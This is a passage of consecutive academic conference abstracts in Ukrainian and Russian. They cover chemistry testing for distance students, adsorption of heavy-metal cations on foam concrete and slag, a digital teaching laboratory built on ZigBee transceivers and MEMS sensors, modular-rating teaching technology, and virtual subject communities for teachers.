вже до того, що розвивальна функція навчання майже втрачена та ми маємо зміщення навчання у бік натаскування, поверховості знання та простого зубріння.Саме тому завдання, що були складені викладачами кафедри неорганічної хімії нашого університету для проведення контрольних робіт для студентів заочної форми навчання, поєднують всі корисні властивості тестів: чіткі формулювання, наявність варіантів відповіді, більшість типів загальновідомих дидактичних завдань, одночасне проходження контрольного заходу великою кількістю студентів та стислий час на проведення і перевірку робіт.Формулювання питання тестової форми контрольної роботи у вигляді проблемного завдання [4], що інколи містить надлишкові початкові дані, сприяє формуванню у студентів основи творчої діяльності майбутнього фахівця. Виконуючи такі завдання, студент перш за все навчається комбінувати та перебудовувати наявні знання, аналізувати різні можливі шляхи рішення та обирати більш раціональні. Під час виконання такої форми контрольної роботи, що проходить у комп’ютерному класі, студенти мають змогу користуватися довідковими матеріалами як в електронному, так і в паперовому вигляді. Наявність певної кількості сценаріїв, що містять завдання різного рівня складності, можуть мати різну кількість завдань, роблять створену нами систему універсальною для проведення контрольних заходів студентам різних напрямків підготовки, навчальні плани яких передбачають різну кількість кредитів на вивчення неорганічної хімії.Практика впровадження нашої системи контролю самостійної діяльності студентів заочної форми навчання доводить, що методика застосування системи завдань із поступовим зростанням складності і проблемності є перспективною, виконує не тільки освітні, але і розвивальні функції, що підвищують якість підготовки майбутніх інженерів.Ми щиро сподіваємось, що всі ці кроки допоможуть підняти заочне навчання на новий якісний рівень, що дозволяє готувати висококваліфікованих фахівців, здатних працювати в сфері інноваційної економіки.

Адсорбция широкого набора индикаторов позволяет получить наглядную картину распределения на поверхности твердого вещества активных центров по их кислотно-основным (донорно-акцепторным) свойствам. Метод распределения центров адсорбции (метод РЦА) представляется информативным для прогнозирования селективной адсорбции веществ различной природы на определенных активных центрах. Цель работы заключалась в определении сорбционных свойств некоторыхтвердых материалов по отношению к катионам тяжелых металлов (КТМ), используя классификационные признаки поверхности в системе метода РЦА и природе загрязняющих веществ.С помощью метода РЦА были исследованы такие твердые материалы, как пенобетон различной исходной плотности, а также доменный гранулированный шлак. Анализ характера распределенияцентров адсорбции на поверхности образцов проводился до и после насыщения измельченных образцов растворами, содержащими такие КТМ как Fe(III) и Mn(II).Результаты анализа показали, что на поверхности исходного образца пенобетона плотностью300 кг/м3 наблюдаются два типа адсорбционных центров, соответствующих бренстедовским основаниям (рКа=6-10.5) согласно предлагаемой классификации. Поглощение происходило именно в этой области, что экспериментально подтверждается резким понижением содержания указанных типов центров после взаимодействия образца с раствором, содержащим КТМ. На поверхности исходного образца пенобетона плотностью 500 кг/м3 можно отметить высокое содержание бренстедовских кислотных и основных центров адсорбции. После пропускания раствора с ионами железа концентрация активных центров в области бренстедовских оснований понизилась, то есть произошла адсорбция ионов железа. При этом содержание бренстедовских кислот осталось практически неизменным, что говорит об избирательности адсорбции. Исследования по определению характера РЦА на поверхности доменного гранулированного шлака (исходного и отработанного) показали, что интенсивность полос адсорбции в области рКа=7.3 у исходного образца шлака резко снижается после пропускания имитата раствора, что подтверждает поглощение КТМ на бренстедовских основных центрах. Высокое количественное содержание активных центров на поверхности этого материала определяется высокой дисперсностью (фракция <0.08 мм).Таким образом, результаты интерпретации картин распределения на поверхности исследуе-мых образцов активных центров по их кислотно-основным свойствам показали, что метод РЦА какфизико-химический метод исследования поверхности твердого тела позволяет прогнозировать сорб-ционные свойства материалов и расширять область их применения. ЛИТЕРАТУРА 1. Земцов А.Е., Кутузов И.В., Мартемьянов Д.Б., Пшеничникова В.В. // «Техника и технология нефтехимического и нефтегазового производства», Материалы 9-ой международной научно-технической конференции, 26-28 февраля 2019 г., Омск, 2019, С. 163.2. Ашхотов О.Г., Ашхотова И.Б. // Журнал физической химии. 2019. Т. 93. № 4. С.584-586.3. Галий П.В., Яровец И.Р., Ненчук Т.Н., Мазур П. и др. // Хімія, фізика та технологіяповерхні. 2018. Т. 9. № 1. С. 46-63.4. Титов Л.А. // «Технические науки: проблемы и решения», сборник статей по материалам XXIX международной научно-практической конференции. 19 ноября 2019 г. М. 2019. С. 95-99.5. Нечипоренко А.П. Дисс. докт. хим. наук. Санкт-Петербург. 1995. 234 с.6. Гридчин А.М., Ядыкина В.В. // Вестник Харьковского Национального автомобильно-дорожного университета. 2008. Вып. 40. С. 13-16.7. Шангина Н.Н., Сватовская Л.Б., Комохов П.Г., Латутова М.Н. и др. Инженерно-химические проблемы пеноматериалов третьего тысячелетия. Санкт-Петербург. ПГУПС. 1999. 115 с.8. Абу-Хасан М. Дис. докт. техн. наук. Санкт-Петербург. 2004. 252 с.9. Сватовская Л.Б., Шершнева М.В., Байдарашвили М.М., Сычева А.М. и др. Эко- игеоэкозащита природно-техногенных систем. Теория и практика. Санкт-Петербург.ПГУПС. 2016. 62 с.10. Байдарашвили М.М. Дисс. канд. техн. наук. Санкт-Петербург. 2001. 145 с.11. Сахарова А.С. Новые исследования в материаловедении и экологии. Санкт-Петербург. ПГУПС. 2010. 101 с.12. Иконникова Л.П., Минакова Т.С., Нечипоренко А.П. // Журн. прикл. химии. 1990.Т. 63. № 8. C. 1703-1714.13. Методы атомно-адсорбционной спектрофотометрии. Унифицированные методыисследования качества воды. СЭВ Часть 1. 1987. 127 с.14. Грег С., Синг К. Адсорбция, удельная поверхность, пористость. М. МИР. 1984. 310с.15. Сватовская Л.Б., Байдарашвили М.М., Сахарова А.С., Петряев А.В. // Транспортноестроительство. 2012. № 2. С. 9-11.16. Сахарова А.C., Савельева М.Ю. // Транспорт: проблемы, идеи, перспективы(Неделя науки-2011), сборник научных статей Секции молодых исследователей научно-технической конференции студентов, аспирантов и молодых ученых. 12-27 апреля 2011г. Санкт-Петербург. 2011. C. 63-65.

У зв’язку із загальною інформатизацією освіти і швидким розвитком цифрових засобів обробки інформації назріла необхідність впровадження в лабораторні практикуми вищих та середніх навчальних закладів цифрових засобів збору, обробки та оформлення експериментальних результатів, в тому числі під час виконання лабораторних робот з основ електротехнічних пристроїв та систем. При цьому надмірне захоплення віртуальними лабораторними роботами на основі комп’ютерного моделювання в порівнянні з реальним (натурним) експериментом може призводити до втрати особової орієнтації в технології освіти і відсутності надалі у випускників навчальних закладів ряду практичних навичок.У той же час світові компанії, що спеціалізуються в учбово-технічних засобах, переходять на випуск учбового устаткування, що узгоджується з комп’ютерною технікою: аналого-цифрових перетворювачів і датчиків фізико-хімічних величин, учбових приладів керованих цифро-аналоговими пристроями, автоматизованих учбово-експеримен­тальних комплексів, учбових експериментальних установок дистанційного доступу.У зв’язку із цим в області реального експерименту відбувається поступовий розвиток інформаційних джерел складної структури, до яких, у тому числі, відносяться комп’ютерні лабораторії, що останнім часом оформлюються у новий засіб реалізації учбового натурного експерименту – цифрові електронні лабораторії (ЦЕЛ).Відомі цифрові лабораторії для шкільних курсів фізики, хімії та біології (найбільш розповсюджені компаній Vernier Software & Technology, USA та Fourier Systems Inc., Israel) можуть бути використані у ВНЗ України, але вони мають обмежений набір датчиків, необхідність періодичного ручного калібрування, використовують застарілий та чутливий до електромагнітних завад аналоговий інтерфейс та спрощене програмне забезпечення, що не дозволяє проводити статистичну обробку результатів експерименту та з урахуванням низької розрядності аналого-цифрових перетворювачів не може використовуватись для проведення науково-дослідних робіт у вищих навчальних закладах, що є однією із складових підготовки висококваліфікованих спеціалістів, особливо в університетах, які мають статус дослідницьких.Із вітчизняних аналогів відомі окремі компоненти цифрових лабораторій, що випускаються ТОВ «фірма «ІТМ» м. Харків. Вони поступаються продукції компаній Vernier Software & Technology, USA та Fourier Systems Inc. та мають близькі цінові характеристики на окремі компоненти. Тому необхідність розробки вітчизняної цифрової навчальної лабораторії є нагальною, проблематика досліджень та предмет розробки актуальні.Метою проекту є створення сучасної вітчизняної цифрової електронної лабораторії та відпрацювання рекомендацій по використанню у викладанні на її основі базового переліку науково-природничих та біомедичних дисциплін у ВНЗ I-IV рівнів акредитації при значному зменшенні витрат на закупку приладів, комп’ютерної техніки та навчального-методичного забезпечення. В роботі використані попередні дослідження НДІ Прикладної електроніки НТУУ «КПІ» в галузі МЕМС-технологій (micro-electro-mechanical) при створенні датчиків фізичних величин, виконано огляд технічних та методичних рішень, на яких базуються існуючі навчальні цифрові лабораторії та датчики, розроблені схемотехнічні рішення датчиків фізичних величин, проведено конструювання МЕМС – первинних перетворювачів, та пристроїв реєстрації інформації. Розроблені прикладні програми інтерфейсу пристроїв збору інформації та вбудованих мікроконтролерів датчиків. Сформульовані вихідні дані для розробки бездротового інтерфейсу датчиків та програмного забезпечення цифрової лабораторії.Таким чином, у даній роботі пропонується нова вітчизняна цифрова електронна лабораторія, що складається з конструкторської документації та дослідних зразків обладнання, програмного забезпечення та розробленого єдиного підходу до складання навчальних методик для цифрових лабораторій, проведення лабораторних практикумів з метою економії коштів під час створення нових лабораторних робіт із реєстрацією даних, обробки результатів вимірювань та оформленням результатів експерименту за допомогою комп’ютерної техніки.Цифрова електронна лабораторія складається із таких складових частин: набірного поля (НП); комплектів модулів (М) із стандартизованим вихідним інтерфейсом, з яких складається лабораторний макет для досліджування об’єкту (це – набір електронних елементів: резисторів, ємностей, котушок індуктивності, цифро-аналогових та аналого-цифрових перетворювачів (ЦАП та АЦП відповідно)) та різноманітних датчиків фізичних величин; комп’ютерів студента (планшетного комп’ютера або спеціалізованого комп’ютера) з інтерфейсами для датчиків; багатовходових пристроїв збору даних та їх перетворення у вигляд, узгоджений з інтерфейсом комп’ютера (реєстратор інформації або Data Logger); комп’ютер викладача (або серверний комп’ютер із спеціалізованим програмним забезпеченням); пристрої зворотного зв’язку (актюатори), що керуються комп’ютером; трансивери для бездротового прийому та передачі інформації з НП.Таким чином, з’являється новий клас бездротових мереж малої дальності. Ці мережі мають ряд особливостей. Пристрої, що входять в ці мережі, мають невеликі розміри і живляться в основному від батарей. Ці мережі є Ad-Hoc мережами – високоспеціалізованими мережами з динамічною зміною кількісного складу мережі. У зв’язку з цим виникають завдання створення та функціонування даних мереж – організація додавання і видалення пристроїв, аутентифікація пристроїв, ефективна маршрутизація, безпека даних, що передаються, «живучість» мережі, продовження часу автономної роботи кінцевих пристроїв.Протокол ZigBee визначає характер роботи мережі датчиків. Пристрої утворюють ієрархічну мережу, яка може містити координатор, маршрутизатори і кінцеві пристрої. Коренем мережі являється координатор ZigBee. Маршрутизатори можуть враховувати ієрархію, можлива також оптимізація інформаційних потоків. Координатор ZigBee визначає мережу і встановлює для неї оптимальні параметри. Маршрутизатори ZigBee підключаються до мережі або через координатор ZigBee, або через інші маршрутизатори, які вже входять у мережу. Кінцеві пристрої можуть з’єднуватися з довільним маршрутизатором ZigBee або координатором ZigBee. По замовчуванню трафік повідомлень розповсюджується по вітках ієрархії. Якщо маршрутизатори мають відповідні можливості, вони можуть визначати оптимізовані маршрути до визначеної точки і зберігати їх для подальшого використання в таблицях маршрутизації.В основі будь-якого елементу для мережі ZigBee лежить трансивер. Активно розробляються різного роду трансивери та мікроконтролери, в які потім завантажується ряд керуючих програм (стек протоколів ZigBee). Так як розробки ведуться багатьма компаніями, то розглянемо та порівняємо новинки трансиверів тільки кількох виробників: СС2530 (Texas Instruments), AT86RF212 (Atmel), MRF24J40 (Microchip).Texas Instruments випускає широкий асортимент трансиверів. Основні з них: CC2480, СС2420, CC2430, CC2431, CC2520, CC2591. Всі вони відрізняються за характеристиками та якісними показниками. Новинка від TI – мікросхема СС2530, що підтримує стандарт IEEE 802.15.4, призначена для організації мереж стандарту ZigBee Pro, а також засобів дистанційного керування на базі ZigBee RF4CE і обладнання стандарту Smart Energy. ІС СС2530 об’єднує в одному кристалі РЧ-трансивер і мікроконтролер, ядро якого сумісне зі стандартним ядром 8051 і відрізняється від нього поліпшеною швидкодією. ІС випускається в чотирьох виконаннях CC2530F32/64/128/256, що розрізняються обсягом флеш-пам’яті – 32/64/128/256 Кбайт, відповідно. В усьому іншому всі ІС ідентичні: вони поставляються в мініатюрному RoHS-сумісному корпусі QFN40 розмірами 6×6 мм і мають однакові робочі характеристики. СС2530 являє собою істотно покращений варіант мікросхеми СС2430. З точки зору технічних параметрів і функціональних можливостей мікросхема СС2530 перевершує або не поступається CC2430. Однак через підвищену вихідну потужність (4,5 дБм) незначно виріс струм споживання (з 27 до 34 мА) при передачі. Крім того, ці мікросхеми мають різні корпуси і кількість виводів (рис. 1). Рис. 1. Трансивери СС2530, СС2430 та СС2520 фірми Texas Instruments AT86RF212 – малопотужний і низьковольтний РЧ-трансивер діапазону 800/900 МГц, який спеціально розроблений для недорогих IEEE 802.15.4 ZigBee-сумісних пристроїв, а також для ISM-пристроїв з підвищеними швидкостями передачі даних. Працюючи в діапазонах частот менше 1 ГГц, він підтримує передачу даних на малих швидкостях (20 і 40 Кбіт/с) за стандартом IEEE 802.15.4-2003, а також має опціональну можливість передачі на підвищених швидкостях (100 і 250 Кбіт/с) при використанні модуляції O-QPSK у відповідності зі стандартом IEEE 802.15.4-2006. Більше того, при використанні спеціальних високошвидкісних режимів, можлива передача на швидкості до 1000 Кбіт/с. AT86RF212 можна вважати функціональним блоком, який з’єднує антену з інтерфейсом SPI. Всі критичні для РЧ тракту компоненти, за винятком антени, кварцового резонатора і блокувальних конденсаторів, інтегровані в ІС. Для поліпшення загальносистемної енергоефективності та розвантаження керуючого мікроконтролера в ІС інтегровані прискорювачі мережевих протоколів (MAC) і AES- шифрування.Компанія Microchip Technology виробляє 8-, 16- і 32- розрядні мікроконтролери та цифрові сигнальні контролери, а також аналогові мікросхеми і мікросхеми Flash-пам’яті. На даний момент фірма випускає передавачі, приймачі та трансивери для реалізації рішень для IEEE 802.15.4/ZigBee, IEEE 802.11/Wi-Fi, а також субгігагерцового ISM-діапазону. Наявність у «портфелі» компанії PIC-мікроконтролерів, аналогових мікросхем і мікросхем пам’яті дозволяє їй запропонувати клієнтам комплексні рішення для бездротових рішень. MRF24J40 – однокристальний приймач, що відповідає стандарту IEEE 802.15.4 для бездротових рішень ISM-діапазону 2,405–2,48 ГГц. Цей трансивер містить фізичний (PHY) і MAC-функціонал. Разом з мікроспоживаючими PIC-мікроконтролерами і готовими стеками MiWi і ZigBee трансивер дозволяє реалізувати як прості (на базі стека MiWi), так і складніші (сертифіковані для роботи в мережах ZigBee) персональні бездротові мережі (Wireless Personal Area Network, WPAN) для портативних пристроїв з батарейним живленням. Наявність MAC-рівня допомагає зменшити навантаження на керуючий мікроконтролер і дозволяє використовувати недорогі 8-розрядні мікроконтролери для побудови радіомереж.Ряд компаній випускає завершені модулі ZigBee (рис. 2). Це невеликі плати (2÷5 кв.см.), на яких встановлено чіп трансивера, керуючий мікроконтролер і необхідні дискретні елементи. У керуючий мікроконтролер, у залежності від бажання і можливості виробника закладається або повний стек протоколів ZigBee, або інша програма, що реалізує можливість простого зв’язку між однотипними модулями. В останньому випадку модулі іменуються ZigBee-готовими (ZigBee-ready) або ZigBee-сумісними (ZigBee compliant).Всі модулі дуже прості в застосуванні – вони містять широко поширені інтерфейси (UART, SPI) і управляються за допомогою невеликого набору нескладних команд. Застосовуючи такі модулі, розробник позбавлений від роботи з високочастотними компонентами, так як на платі присутній ВЧ трансивер, вся необхідна «обв’язка» і антена. Модулі містять цифрові й аналогові входи, інтерфейс RS-232 і, в деяких випадках, вільну пам’ять для прикладного програмного забезпечення. Рис. 2. Модуль ZigBee із трансивером MRF24J40 компанії Microchip Для прикладу, компанія Jennic випускає лінійку ZigBee-сумісних радіомодулів, побудованих на низькоспоживаючому бездротовому мікроконтролері JN5121. Застосування радіомодуля значно полегшує процес розробки ZigBee-мережі, звільняючи розробника від необхідності конструювання високочастотної частини виробу. Використовуючи готовий радіомодуль, розробник отримує доступ до всіх аналогових і цифрових портів вводу-виводу чіпу JN5121, таймерам, послідовного порту і інших послідовних інтерфейсів. У серію входять модулі з керамічної антеною або SMA-коннектором з дальністю зв’язку до 200 метрів. Розмір модуля 18×30 мм. Версія модуля з підсилювачем потужності і підсилювачем вхідного сигналу має розмір 18×40 мм і забезпечує дальність зв’язку більше 1 км. Кожен модуль поставляється з вбудованим стеком протоколу рівня 802.15.4 MAC або ZigBee-стеком.За висновками експертів з аналізу ринку сьогодні одним з найперспективніших є ринок мікросистемних технологій, що сягнув 40 млрд. доларів станом на 2006 рік зі значними показниками росту. Самі мікросистемні технології (МСТ) почали розвиватися ще з середини ХХ ст. і, отримуючи щоразу нові поштовхи з боку нових винаходів, чергових удосконалень технологій, нових галузей науки та техніки, динамічно розвиваються і дедалі ширше застосовуються у широкому спектрі промислової продукції у всьому світі.Прилад МЕМС є об’єднанням електричних та механічних елементів в одну систему дуже мініатюрних розмірів (значення розмірів механічних елементів найчастіше лежать у мікронному діапазоні), і достатньо часто такий прилад містить мікрокомп’ютерну схему керування для здійснення запрограмованих дій у системі та обміну інформацією з іншими приладами та системами.Навіть з побіжного аналізу структури МЕМС зрозуміло, що сумарний технологічний процес є дуже складним і тривалим. Так, залежно від складності пристрою технологічний процес його виготовлення, навіть із застосуванням сучасних технологій, може тривати від кількох днів до кількох десятків днів. Попри саме виготовлення, доволі тривалими є перевірка та відбраковування. Часто виготовляється відразу партія однотипних пристроїв, причому вихід якісної продукції часто не перевищує 2 %.Для виготовлення сучасних МЕМС використовується широка гама матеріалів: різноманітні метали у чистому вигляді та у сплавах, неметали, мінеральні сполуки та органічні матеріали. Звичайно, намагаються використовувати якомога меншу кількість різнорідних матеріалів, щоби покращити технологічність МЕМС та знизити собівартість продукції. Тому розширення спектра матеріалів прийнятне лише за наявності специфічних вимог до елементів пристрою.Спектр наявних типів сенсорів в арсеналі конструктора значно ширший та різноманітніший, що зумовлено багатоплановим застосуванням МЕМС. Переважно використовуються ємнісні, п’єзоелектричні, тензорезистивні, терморезистивні, фотоелектричні сенсори, сенсори на ефекті Холла тощо. Розроблені авторами в НДІ Прикладної електроніки МЕМС-датчики, їх характеристики, маса та розміри наведені у табл. 1.Таблиця 1 №з/пМЕМС-датчикиТипи датчиківДіапазони вимірюваньГабарити, маса1.Відносного тиску, тензорезистивніДВТ-060ДВТ-1160,01–300 МПа∅3,5–36 мм,5–130 г2.Абсолютного тиску,тензорезистивніДАТ-0220,01–60 МПа∅16 мм,20–50 г3.Абсолютного тиску, ємнісніДАТЄ-0090,05–1 МПа5×5 мм4.Лінійного прискорення,тензорезистивніДЛП-077±(500–100 000) м/с224×24×8 мм,100 г5.Лінійного прискорення,ємнісніАЛЄ-049АЛЄ-050±(5,6–1200) м/с235×35×22 мм, 75 г6.Кутової швидкості,ємнісніДКШ-011100–1000 °/с

У терміні фундаментальні дисципліни (ФД), характерному для вищої технічної школи, закладені зміст та вимоги до таких дисциплін, як вища математика, загальна та теоретична фізика, хімія та інформатика. Вони повинні створювати базу знань, яка є підгрунтям ефективного засвоєння студентами матеріалу, професійно-орієнтованих дисциплін (ПОД). Саме тому викладанню ФД останнім часом приділяють особливу увагу.З метою підвищення ефективності навчального процесу останнім часом інтенсивно запроваджують педагогічні технології (ПТ). Серед них відомі інформаційні технології, інноваційні (пов’язані із застосуванням активних методів навчання: методу проектів, кейс-методик тощо) [1]. У більшості ж з вузів намагаються запровадити ПТ, сутність яких полягає у розробці такої організаційної структури навчання, що допомогла б діагностувати якість знань студентів на проміжних етапах навчання. Це означає планування та організацію навчального процесу на основі системи чітко визначених цілей та проміжних і кінцевих результатів навчального процесу, створення системи методів та засобів контролю, яка дозволяє досягти встановлених результатів і має прозору систему управління навчальним процесом з можливістю корекції його етапів. Зробити це дозволяє модульно-рейтингова система (МРС) організації навчання. Зараз її лише певною мірою можна розцінювати як ПТ. В той же час на її основі можна розробити достатньо гнучку технологічну схему для ФД. Поділ змісту навчального курсу на окремі модулі дозволяє визначити проміжні цілі навчання, створити необхідну систему контролю. Введення рейтингового контролю одночасно є і стимулюючим чинником, оскільки вимагає систематичної наполегливої навчальної праці [2, 144].МРС розглядалась як базова при дослідженні проблеми моделювання ПТ у вищій технічній школі. Вивчення досвіду її впровадження у практику роботи ВНЗ виявило труднощі як організаційного, так і методичного порядку, але викладачами пріоритет надається саме організаційним аспектам впровадження МРС. Методичні проблеми усвідомлюються ними не повною мірою, іноді на інтуїтивному рівні. В першу чергу це пов’язано із недостатністю психолого-педагогічних знань.Дослідження показало, що МРС не усвідомлюється викладачами як цілісна технологія, вони згодні використовувати у навчальному процесі і окремі її елементи. Так, 47% викладачів вважають, що модуль може бути не пов’язаний із рейтингом. 19% викладачів вважають, що поділ навчального курсу на модулі штучний і ускладнює процес навчання. Фактично ця частина викладачів виступає проти побудови ПТ із діагностикою проміжних результатів навчання. Розробка окремих модулів у змісті навчального курсу, як показало опитування, не є проблемою. Більшість викладачів орієнтується на логіку навчальної дисципліни, а саме – на окремі теми курсу. Найбільші складності при застосуванні МРС пов’язані із розробкою системи рейтингового контролю. 54% викладачів вважає, що для впровадження рейтингу достатньо визначити кількість балів за кожен модуль навчального курсу і ввести необхідну градацію (на “3”, на “4”, на “5”). Анкетування засвідчило, що викладачі, які будували таким чином власну технологію навчального процесу, отримали поразку. Характерно, що більшість з них, а саме 33%, вважають, що дана технологія неефективна.Вивчення досвіду впровадження МРС показало, що усі недоліки тісно пов’язані саме із початковим етапом побудови ПТ: проектуванням технології, розробкою моделі. Етап моделювання повинен закладати систему роботи викладача (організаційні і методичні аспекти) і студента (пізнавальна діяльність) над теоретичними знаннями та практичними уміннями, а також передбачити трьохрівневу структуру навчального курсу за рівнем складності запропонованих студентам завдань. На етапі моделювання МРС як ПТ перед викладачем стоять декілька завдань: 1) визначення навчальних модулів з курсу; 2) визначення мінімального обсягу теоретичних знань, необхідних для підготовки фахівця, цей обсяг буде у визначати рівень “3”; 3) розробка системи тестового контролю для вимірювання знань студентів; 4) визначення необхідного обсягу практичних умінь, якими повинен оволодіти студент; 5) розробка необхідної системи завдань практичного змісту, якими повинен оволодіти студент як майбутній фахівець. Цей рівень також у подальшому визначить рівень лише “3”; 6) розробка системи диференційованих практичних завдань різного рівня складності (передбачено два рівні, що визначать “4” та “5”); 7) визначення кількості балів на кожен навчальний модуль відповідно рівням складності; 8) при викладанні ФД створення моделі ускладнюється необхідністю розробки тісних міжпредметних зв’язків з ПОД. Дослідження показало, що більшість викладачів у моделі МРС випускає частину необхідних етапів. Не розроблено систему диференційованих практичних завдань для студентів, що є суттєвим недоліком сучасних розробок МРС як технології. Останній недолік не дає змоги побудувати гнучку ПТ, яка б відповідала завданню створення відкритих систем у освіті.Важливим компонентом ПТ є часові параметри. Дослідження виявило, що розподіл навчальних годин (лекційні та практичні) не завжди узгоджується із реальним співвідношенням між теоретичними знаннями та практичними уміннями, формування яких передбачається навчальною програмою. Формування практичних умінь – процес більш тривалий, ніж формування теоретичних знань (співвідношення у часі приблизно 3:1, зараз воно вкладає 1:1). Самостійне опрацювання практичних завдань не завжди доречне, оскільки у студентів ще не повною мірою сформована орієнтовна модель уміння. Тому вважаємо, що розробка ефективної ПТ вимагає узгодження розподілу навчальних годин з співвідношенням теоретичних знань та практичних умінь, передбачуваних навчальною програмою.Попередні дослідження [3, 57] виявили зниження рівня мотивації студентів до вивчення ФД. Це можна подолати, ввівши до моделі ПТ компоненти, засновані на міжпредметних зв’язках ФД і ПОД. Система міжпредметних зв’язків наведена у навчальних програмах переважно як посилання на навчальну дисципліну без реального відображення зв’язків у ПТ. Між тим саме їх аналіз впливає на оптимальний розподіл годин при розробці моделі ПТ для ФД. Вважаємо, що зміст ФД потрібно вивчати у контексті їх зв’язку з ПОД. Чітко визначені міжпредметні зв’язки і впроваджені на їх основі до курсів ФД корективи (розробка змісту лабораторних робіт з урахуванням змісту ПОД, впровадження у вищу математику задач, пов’язаних з змістом ПОД) дають змогу викладачу ФД познайомитись з конкретними спеціальними задачами, елементи яких можна використати при викладанні і стимулювати мотиви пізнавальної діяльності студентів. Врахування цих вимог дає змогу змінити існуюче зараз у вищій технічній школі ставлення певної частини студентів до ФД.Таким чином, дослідження виявило певні специфічні риси, що необхідно враховувати при розробці моделі ПТ, застосовуваної при вивченні ФД у вищій технічній школі.

З розвитком інформаційно-комунікаційних технологій (ІКТ) з’являються нові форми і програмні сервіси для зберігання та управління даними. В останні роки багато робиться для того, щоб використати досвід обміну знаннями і залучити учнів, студентів, вчителів та викладачів до участі в житті реальних предметних спільнот, де у рамках окремої спільноти усі учасники можуть обмінюватися повідомленнями, текстовими документами, відео та аудіо файлами, а також знаннями, які вони можуть використати у своїй діяльності.Актуальність дослідження обумовлена тим, що «Концепція Державної цільової соціальної програми підвищення якості шкільної природничо-математичної освіти на період до 2015 року» визначає фундаментальну природничо-математичну освіту однією з основних факторів розвитку особистості, і потребує оновлення її змісту з урахуванням суспільних запитів, потреб інноваційного розвитку науки та виробництва, запровадження сучасних методів навчання, поліпшення якості підготовки та видання навчально-методичної літератури, удосконалення механізмів оцінювання результатів навчальної діяльності [5].Систематичне використання ІКТ під час навчання предметів природничо-математичного циклу у загальноосвітніх навчальних закладах спонукає вчителів до постійного і систематичного створення власних презентацій до окремих тем уроків, тестів, пошуку відео і аудіо фрагментів дослідів тощо. Виникає проблема збереження навчальних матеріалів їх оцінювання, обміну з колегами, використання під час атестації, конкурсів. Виникає потреба у створенні і розвитку динамічних віртуальних предметних спільнот.Наукові пошуки питання обумовлені широким використанням мережі Інтернет, як комунікаційного середовища з широким комунікаційним потенціалом. У зарубіжній науковій літературі дослідження віртуальних спільнот мають, в основному, описовий характер і орієнтовані на вирішення наступних завдань: формування визначення поняття «віртуальна спільнота» (А. Денніс, К. Рідінгз, Б. Уеллман, К. Фігалло, С. Хільц та ін.), розробку класифікації віртуальних спільнот (К. Портер, У. Долакіа, М. Вірнош, К. Джонс, С. Рафаелі, С. Кришнамерти, Л. Коміто, У. Маркус, Р. Багоззі, Б. Батлер, Дж. Прііс, А. Армстронг та ін.), визначення структурних властивостей віртуальних спільнот (К. Фігалло, К. Портер, К. Джонс, С. Кришнамерти, А. Бленкард, С. Харрісон та ін.), педагогічний підхід до вивчення віртуальних спільнот (Є. Д. Патаракін). Розвиток віртуальних спільнот розкрито у працях таких науковців, як: В. Ю. Биков, Р. О. Голощук, М. І. Жалдак, Н. Т. Задорожна, В. М. Кухаренко, І. Д. Малицька, Н. В. Морзе, В. В. Осадчий, С. А. Раков, О. М. Самойленко (Україна), О. О. Андрєєв, Є. Д. Патаракін, Є. С. Полат, А. В. Хуторський, Н. С. Чураєва (Росія), С. Віркус (Великобританія), Д. Боуден (США) та інших.Нові можливості, які відкриваються перед навчанням, пов’язані з розвитком «цифрової пам’яті». Це не тільки збереження даних, але і наявність сервісів, які полегшують можливість індивідуального та колективного їх використання.З розвитком мережі ми переходимо від індивідуального програмного забезпечення до мережних програм та управлінню колективною пам’яттю. Прикладом колективної пам’яті може слугувати Всесвітня глобальна павутина (World Wide Web), в якій усі ресурси зберігаються по універсальних адресах URL. «Цифрова пам’ять» не тільки вбудовується в усі об’єкти мережної культури але поступово вбирає в себе матеріали архіві, музеїв, бібліотек та дослідних інститутів, зазначає Є. Д. Патаракін [4, с. 18]Усі ці новітні підходи щодо «цифрової» і колективної пам’яті останнім часом реалізуються у різних віртуальних спільнотах, особливо у тих, які формуються і підтримуються освітянами.Втіленням інформаційної епохи сьогодні стала глобальна мережа Інтернет як ключова інформаційна технологія і універсальний засіб вільної комунікації в освіті. Досягнення у сфері ІКТ є підґрунтям для створення нової форми педагогічної комунікації, яка отримала назву віртуальних предметних спільнот.Важливим фактором у дослідженні віртуальних предметних спільнот є формування основних понять. Переклад англійських аналогів virtual community, online community, online group узагальнено у понятті «віртуальна спільнота».Спільнота – мала група або велика соціальна група людей, які активно спілкуються між собою як на професійні, так і на непрофесійні теми [4, с. 22-23].Спільнота – це група людей, які мають спільні інтереси, прагнення та цілі [8].Спільнота – це група людей які взаємодіють між собою, живуть у деякій близькості (просторі, часі, відносинах) [1].Віртуальна спільнота – соціальне об’єднання, яке виростає з мережі, коли група людей підтримує відкрите обговорення досить довго і по-людськи, для того, щоб сформувати мережу особистих відношень у кіберпросторі. [4, с. 8]. У середині спільноти обмін знаннями і досвідом здійснюється на основі електронної розсилки повідомлень, списку новин, дошки оголошень або віртуальних сайтів тощо. Всі заохочення взаємодії, іноді фокусуються навколо особливого інтересу, а іноді і просто спілкуванні.Віртуальна спільнота – це сукупність індивідів, об’єднаних спільними інтересами, цілями та звичаями, тривала взаємодія яких повністю, або у крайньому випадку, частково здійснюється засобами Інтернету і регулюється специфічними для нього засобами комунікації протоколами і нормами [6] .Всередині спільноти обмін знаннями і досвідом здійснюється у вигляді обміну професійними даними і відомостями.Віртуальна предметна спільнота  це об’єднання вчителів-предметників, яке виростає з мережі, має спільні інтереси, прагнення та цілі, активно спілкується між собою як на професійні, так і на непрофесійні теми.У співробітництві з НАПН України компанією «Майкрософт Україна» було започатковано мережу «Партнерство в навчанні» [3], яка надає більше можливостей освітянам дізнатися про новітні ІКТ з метою покращання якості навчання. Призначення мережі – створювати професійні віртуальні спільноти, спільно працювати над розробкою уроків, навчальних і методичних матеріалів, обмін досвідом та ідеями, про що зазначає І. Д. Малицька [7].Розвиток та інтегрування ІКТ у системах освіти зарубіжних країн та України є одним з пріоритетних напрямів, тому у мережі «Партнерство в навчанні» було започатковано шість віртуальних предметних спільнот природничо-математичного циклу природничо-математичного циклу: математика (ua.partnersinlearningnetwork.com/communities/mathematics), фізика (ua.partnersinlearningnetwork.com/communities/physics), хімія (ua.partnersinlearningnetwork.com/communities/chemistry), біологія (ua.partnersinlearningnetwork.com/communities/biology_b), географія (ua.partnersinlearningnetwork.com/communities/geography), інформатика (ua.partnersinlearningnetwork.com/communities/informatic).Мета створення предметних спільнот: стійкий інноваційний розвиток та навчально-методичне забезпечення природничо-математичної освіти.Характерні особливості віртуальної предметної спільноти: 1) відсутність бар’єрів комунікації як психологічних, так і географічних; 2) інтерактивний характер взаємодії членів, які можуть ефективно обмінюватися корисною і 